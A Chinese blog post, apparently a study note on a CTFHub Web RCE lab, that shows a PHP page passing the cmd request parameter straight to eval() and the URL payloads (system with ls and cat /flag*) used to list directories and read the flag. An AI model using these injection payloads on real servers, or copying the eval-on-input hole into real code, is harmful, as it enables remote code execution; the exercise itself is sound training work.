技术栈

CTFHub 技能树 Web RCE eval执行(学习记录)

马船长2024-12-15 17:23

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

上一篇:博客MDX渲染方案
下一篇:在IDE中使用Git
相关推荐
95236
16 小时前
数据结构-堆
java·数据结构·学习·算法
im_AMBER
17 小时前
Leetcode 57
笔记·学习·算法·leetcode
im_AMBER
17 小时前
Leetcode 58 | 附:滑动窗口题单
笔记·学习·算法·leetcode
伯明翰java
17 小时前
Redis学习笔记-List列表(2)
redis·笔记·学习
云帆小二
17 小时前
从开发语言出发如何选择学习考试系统
开发语言·学习
Elias不吃糖
17 小时前
总结我的小项目里现在用到的Redis
c++·redis·学习
BullSmall
18 小时前
《道德经》第六十三章
学习
AA陈超
18 小时前
使用UnrealEngine引擎,实现鼠标点击移动
c++·笔记·学习·ue5·虚幻引擎
BullSmall
18 小时前
《道德经》第六十二章
学习
Knox_Lai
19 小时前
数据结构与算法学习(0)-常见数据结构和算法
c语言·数据结构·学习·算法
热门推荐
01GitHub 镜像站点02今天 Cloudflare 全球事故,连 GPT 和你的网站都一起“掉线”了03UV安装并设置国内源04Google Antigravity:无法登录?早期错误、登录修复和用户反馈指南05安娜的档案(Anna’s Archive) 镜像网站/国内最新可访问入口(持续更新)06BongoCat - 跨平台键盘猫动画工具07Linux下V2Ray安装配置指南08【保姆级教程】免费使用Gemini3的5种方法!免翻墙/国内直连09全球最强模型Grok4,国内已可免费使用!(附教程)10Labelme从安装到标注:零基础完整指南